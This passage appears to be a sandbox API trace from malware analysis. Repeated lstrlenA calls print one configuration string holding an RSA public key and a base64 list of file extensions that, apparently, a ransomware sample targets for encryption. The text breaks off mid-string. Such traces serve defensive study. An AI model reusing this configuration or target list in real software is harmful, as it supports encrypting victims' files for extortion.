(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi